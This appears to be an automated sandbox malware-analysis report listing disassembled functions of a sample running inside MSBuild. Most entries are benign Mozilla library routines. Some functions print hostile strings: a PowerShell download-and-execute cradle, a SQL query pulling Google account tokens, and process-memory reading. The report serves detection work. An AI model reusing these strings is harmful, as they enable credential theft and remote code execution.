?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5DC9
std::_Facet_Register.LIBCPMT ref: 6CAC5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5E45

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: fe74d9d428997c6b46df61b4ced328bb1d2aee844cc8c240373588d4967c54af
Instruction ID: dc2aa41dc322aef58a0599999991339908e2391b2a9fc10d2205f3d96a16f1ca
Opcode Fuzzy Hash: fe74d9d428997c6b46df61b4ced328bb1d2aee844cc8c240373588d4967c54af
Instruction Fuzzy Hash: 7541B2307003068FCB04DFA9D8D8AAE77B5EF48314F088168E50697791DB34EC86DBA1

Function 6CA9CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CA631A7), ref: 6CA9CDDD

Strings

<jemalloc>, xrefs: 6CA9CF9F, 6CA9CFB3
: (malloc) Error in VirtualFree(), xrefs: 6CA9CFA4, 6CA9CFB8

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 3b09a6da4fb2e06bb181a60d055824659fcc8cb0bf634566bb376ab0eaa58fa3
Instruction ID: 869fbe4ca793360c58da392c70014a7b7f0fa97f7bf424b4e407c72bf255bb9b
Opcode Fuzzy Hash: 3b09a6da4fb2e06bb181a60d055824659fcc8cb0bf634566bb376ab0eaa58fa3
Instruction Fuzzy Hash: 3F31F630B507065BEF04AFA98C46B6E3BF5BB4570CF248114F612ABAC0DB70D88197E4

Function 6CA6ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA6F100: LoadLibraryW.KERNEL32(shell32,?,6CADD020), ref: 6CA6F122
Part of subcall function 6CA6F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA6F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CA6ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA6EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CA6EDCC
CreateFileW.KERNEL32 ref: 6CA6EE08
free.MOZGLUE(00000000), ref: 6CA6EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CA6EE32

Part of subcall function 6CA6EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CA6EBB5
Part of subcall function 6CA6EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CA9D7F3), ref: 6CA6EBC3
Part of subcall function 6CA6EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CA9D7F3), ref: 6CA6EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CA6EDC1

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 6b350aec5b69a26516ffa93203b0c1c6200768359c8a490228e71568dd46703d
Instruction ID: abb0f68d95009f846f3d511fce4bc3d399b64b18834cbdc082dba83651441c72
Opcode Fuzzy Hash: 6b350aec5b69a26516ffa93203b0c1c6200768359c8a490228e71568dd46703d
Instruction Fuzzy Hash: B451CC71D05304DBDB00DF6ACD406AEB7B0AF49318F48852DE8556BB80E730A9C8CBE2

Function 0040F915 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000000,?,00000000,00000000,?,?,?,?,?,0040FBE3,?,00000000,00000000,?,?), ref: 0040F934
VirtualQueryEx.KERNEL32(?,00000000,?,0000001C,?,?,?,?,?,?,?,?,0040FBE3,?,00000000,00000000), ref: 0040F95E
ReadProcessMemory.KERNEL32(?,00000000,?,00064000,00000000,?,?,?,?,?,?,?,?), ref: 0040F9AB
ReadProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0040FA04
VirtualQueryEx.KERNEL32(?,?,?,0000001C), ref: 0040FA5C
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0040FBE3,?,00000000,00000000,?,?), ref: 0040FA6D

Strings

@, xrefs: 0040F977

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: MemoryProcessQueryReadVirtual
String ID: @
API String ID: 3835927879-2766056989
Opcode ID: a9495d4f72b3d1438dfa2c68789035a7ae4ab924da08034bdec0029a689f928b
Instruction ID: 782d1e78530d26aac93c20cf39dad9713f636d1ba6f6d7f846141922d26d4ee5
Opcode Fuzzy Hash: a9495d4f72b3d1438dfa2c68789035a7ae4ab924da08034bdec0029a689f928b
Instruction Fuzzy Hash: B8419D32A00209BBDF209FA5DC49FDF7B76EF44760F14803AFA04A6690D7788A55DB94

Function 6CADA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CADA565

Part of subcall function 6CADA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CADA4BE
Part of subcall function 6CADA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CADA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CADA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CADA6B6

Strings

0, xrefs: 6CADA5FB
z, xrefs: 6CADA6AE

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: c4d0e21dbe12d805cbd04c32ad611b707d8751af2c2b3e1516bc7ae007320c29
Instruction ID: 1174e102c14c2c30cc923d6eadc562f3636838d2eca68ae38d85f219bb2115a4
Opcode Fuzzy Hash: c4d0e21dbe12d805cbd04c32ad611b707d8751af2c2b3e1516bc7ae007320c29
Instruction Fuzzy Hash: BE413971919745DFC341DF28C080A8BBBF5BF89354F418A2EF49987650EB30E989CB82

Function 00413259 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 110stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413278
StrCmpCA.SHLWAPI(00000000,004367D8), ref: 004132B1
strtok_s.MSVCRT ref: 00413371

Strings

)yA, xrefs: 0041326B, 0041326E

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID: )yA
API String ID: 3330995566-939202500
Opcode ID: d41f5387e2e81f9edfda5ff36e89cc1047728e74c89124c70bd186295e00b63b
Instruction ID: 735330a1d008a833b374886be4d947a81621c86a210c44f2da093846d2bcbd8c
Opcode Fuzzy Hash: d41f5387e2e81f9edfda5ff36e89cc1047728e74c89124c70bd186295e00b63b
Instruction Fuzzy Hash: 64319671E001099FCB14DF68CC85BAA77A8BB08717F51505BEC05DA191EB7CCB818B4C

Function 6CAA9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CA9AB89: EnterCriticalSection.KERNEL32(6CAEE370,?,?,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB94
Part of subcall function 6CA9AB89: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
__Init_thread_footer.LIBCMT ref: 6CAA949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAA9459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAA947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAA946B

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: d77a9c58537fed42a668108fce31887314e42dea5c9095751f5281b3fc0a78cf
Instruction ID: 2b282edbc29c3e9fb8f999e0127c24cac680ca8a2c4e21f82ff74cd86c358ba5
Opcode Fuzzy Hash: d77a9c58537fed42a668108fce31887314e42dea5c9095751f5281b3fc0a78cf
Instruction Fuzzy Hash: D501B974A003028FE74497ADED1155533B5E70E32CF04853BD90587A42D622D9D7AAE6

Function 00409A0E Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 223stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 00409BB2

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,AccountId), ref: 00409BCF
lstrlenA.KERNEL32(?), ref: 00409C7E
lstrlenA.KERNEL32(?), ref: 00409C99

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 00409B1F
AccountId, xrefs: 00409BC9
GoogleAccounts, xrefs: 00409A8E
GoogleAccounts, xrefs: 00409A37

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$lstrcat$AllocLocal
String ID: AccountId$GoogleAccounts$GoogleAccounts$SELECT service, encrypted_token FROM token_service
API String ID: 3306365304-1713091031
Opcode ID: f978e13317bd9e9ca92fe85fa5afbdbdbbebaf07c2949093664cde45c607c1fa
Instruction ID: bedf9acd9982ee8b881d2279affa2936c5d78a71dfe3636d44711f8b11a2483e
Opcode Fuzzy Hash: f978e13317bd9e9ca92fe85fa5afbdbdbbebaf07c2949093664cde45c607c1fa
Instruction Fuzzy Hash: D9815171E40109ABCF01FFA5DE469CD77B5AF04309F511026F900B71E2DBB8AE898B98

Function 6CADB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CADB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CADB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CADB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CADB5F4
__Init_thread_footer.LIBCMT ref: 6CADB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CADB61F
std::_Facet_Register.LIBCPMT ref: 6CADB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADB655

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 7d04a01d9f9e914132b422ed710f2554ea6ada123da2cc61ed664189ba5a031b
Instruction ID: 035c865127cde5bf0f0c0459817ca13dc50b5d16bf36d9a21c7cd6105bec6751
Opcode Fuzzy Hash: 7d04a01d9f9e914132b422ed710f2554ea6ada123da2cc61ed664189ba5a031b
Instruction Fuzzy Hash: 7131A471B00306CBCF44DF68E8989AEBBB5FB8E324B154629D91297740DB30A947DBD1

Function 00412D70 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

ShellExecuteEx.SHELL32(?), ref: 00412EC0

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412E18
')", xrefs: 00412E13
C:\ProgramData\, xrefs: 00412DA3
.ps1, xrefs: 00412DF3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412E5B

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$.ps1$C:\ProgramData\$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 2215929589-1989157005
Opcode ID: 874e4f4d081287718d08cb58bfbd40fec586d35f5127b485101a1289a71c24ee
Instruction ID: d4bc49303887be4e6334ac6b4843b1e71d055e880c24203978c9a7e3e1ca0007
Opcode Fuzzy Hash: 874e4f4d081287718d08cb58bfbd40fec586d35f5127b485101a1289a71c24ee
Instruction Fuzzy Hash: 4641FB71E00119ABCF11FBA6DD469CDB7B4AF04308F61406BF514B7191DBB86E8A8B98

Function 6CAB1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAB1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CAB1BE3,?,?,6CAB1D96,00000000), ref: 6CAB1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CAB1BE3,?,?,6CAB1D96,00000000), ref: 6CAB1D4C
GetCurrentThreadId.KERNEL32 ref: 6CAB1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAB1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAB1DDA

Part of subcall function 6CAB1EF0: GetCurrentThreadId.KERNEL32 ref: 6CAB1F03
Part of subcall function 6CAB1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CAB1DF2,00000000,00000000), ref: 6CAB1F0C
Part of subcall function 6CAB1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAB1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CAB1DF4

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 97cdbef2985802c6b8fb7b4e5e4645bad4aaf0a744bb8bdc7c0a8bbdaf07b556
Instruction ID: 5bcffc0448471dbd261ac22210eb9bb430c00c8708efc1b918701084027a3b12
Opcode Fuzzy Hash: 97cdbef2985802c6b8fb7b4e5e4645bad4aaf0a744bb8bdc7c0a8bbdaf07b556
Instruction Fuzzy Hash: 364179B52007059FCB14CF28D889A66BBF9FB49318F10852DEA5A87B41DB31F854CB94

Function 6CAA84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA85AC

Part of subcall function 6CAA7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAA85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA767F
Part of subcall function 6CAA7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAA85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA7693
Part of subcall function 6CAA7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CAA85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAA85B2

Part of subcall function 6CA85E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA85EDB
Part of subcall function 6CA85E90: memset.VCRUNTIME140(6CAC7765,000000E5,55CCCCCC), ref: 6CA85F27
Part of subcall function 6CA85E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA85FB2

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

